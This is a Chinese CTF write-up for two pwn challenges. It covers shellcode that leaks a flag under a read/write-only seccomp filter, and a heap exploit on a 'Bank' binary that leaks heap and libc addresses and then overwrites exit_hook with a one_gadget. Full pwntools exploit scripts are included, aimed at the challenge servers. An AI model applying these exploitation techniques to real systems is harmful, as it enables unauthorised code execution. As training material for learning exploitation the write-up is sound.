第一题的第五个解出:
第二题的三血
总体难度偏简单。
# EscapeShellcode
清空了所有寄存器(设置为 0xdeadbeefdeadbeef),包括 rsp。
flag 读到了 bss 段上。
seccomp 只允许调用 read 和 write。这里我只用到了 write。
利用的主要是:
write,read 函数遇到不可读写的区域,会返回 < 0 的值,且不会令程序崩溃。
- 首先利用 syscall 会给 rcx 赋值的特性,将 rip 的值赋给 rcx。
- 将 rcx 赋给 r8
- r8 减去一个很大的偏移,令他小于 codebase,将 r8 赋给 rsi
- cmp rax,0,不断调用 write。
- r8+=0x200
- 那么最终 r8 一定会落在 codebase ±0x200 范围内,这时候加上偏移 0x3f00,加上 write 函数写的 0x200 字节,便一定能覆盖到 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug' context(arch='amd64')
r = remote('47.94.194.27',21957)
shellcode=''' mov rax,0 syscall sub rcx,0x3000000 mov r8,rcx a: mov rax,1 mov rsi,r8 mov rdi,1 mov rdx,0x200 syscall add r8,0x200 cmp rax,0 jng a add rsi,0x3f00 mov rax,1 syscall '''
r.sendline(asm(shellcode)) r.interactive()
|
放一个打通的截图:
# Bank
最开始程序没提供 libc,有点搞。
程序代码比较多,稍微理一下逻辑:
实现了一个类似于银行功能:登录存款取款转账等功能。
存款上限为 0x190,全存进去。
代码审计后发现只有转账功能中可以利用。
转账功能中有以下功能:
admin 可以越界泄露,hacker 可以任意地址 free,guest 稳定 malloc (0x18) 大小,ghost 则是可以 realloc,abyss 则是任意地址写一次后调用 exit ()
思路:
- 通过 realloc 先 free 掉一个堆块,用 admin 功能 show 出堆基址。
- 伪造一个 unsortedbin 堆块,free 掉他,同时用 guest 功能切割后 show 泄露 libc 基址。
- 然后用 abyss 功能打 exit_hook 覆盖为 ogg 即可
难度应该主要在逆向了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug'
r = remote('39.107.108.120',39291) libc = ELF('/mnt/hgfs/ubuntu/2022蓝帽/bank/libc-2.31.so')
def lossmoney(money): r.recvuntil(b"Click: ") r.sendline(b'Deposit') r.recvuntil(b"How Much? ") r.sendline(str(money))
def addmoney(money): r.recvuntil(b"Click: ") r.sendline(b'Put') r.recvuntil(b"How Much? ") r.sendline(str(money))
def login(carno,pwd): r.recvuntil(b"Click: ") r.sendline(b'Login') r.recvuntil(b"Card Numbers: ") r.sendline(carno) r.recvuntil(b"Password: ") r.sendline(pwd)
def showuser(): r.recvuntil(b"Click: ") r.sendline(b'Info')
def transfer(user,money): r.recvuntil(b"Click: ") r.sendline(b'Transfer') r.recvuntil(b"who? ") r.sendline(user) r.recvuntil(b"How much? ") r.sendline(str(money))
def realloc(size): transfer(b'ghost',0xb) r.recvuntil(b"ghost: &^%$#@! :)") r.sendline(str(size))
def add(content): transfer(b'guest',0x6) r.recvuntil(b"data: ") r.send(content)
def delete(addr): transfer(b'hacker',0x33) r.recvuntil(b"hacker: Great!") r.sendline(str(addr))
def show(offset): transfer(b'admin',offset)
login(b'123',b'456789') addmoney(0x190)
realloc(0x38) add(p64(0)+p64(0x4d1)) realloc(0x48) add(b'a'*0x10) realloc(0x58) add(b'a'*0x10) realloc(0x68) show(0x1f) r.recvuntil(b'I think ') heap_base = int(r.recvuntil(b' ')[:-1],16)-0x10 add(b'a'*0x10) realloc(0x78) add(b'a'*0x10) realloc(0x88) add(b'a'*0x10) realloc(0x98) add(b'a'*0x10) realloc(0x100) add(b'a'*0x10) add(b'a'*0x10) add(b'a'*0x10) delete(heap_base+0x310) add(b'a'*0x10) add(b'a'*0x10) add(b'a'*0x10) add(b'a'*0x10) show(0x1f) r.recvuntil(b'I think ') libc_base = int(r.recvuntil(b' ')[:-1],16)-0x1ebbe0 delete(heap_base+0x2a0) exit_hook = libc_base+0x222f68 add(p64(exit_hook)) one_gadget = libc_base+0xe6c7e
r.recvuntil(b"Click: ") r.sendline(b'Transfer') r.recvuntil(b"who? ") r.sendline(b'abyss') r.recvuntil(b"How much? ") r.sendline(b'1') pause() r.sendline(str(one_gadget))
log.success("libc_base: "+hex(libc_base)) log.success("heap_base: "+hex(heap_base))
r.interactive()
|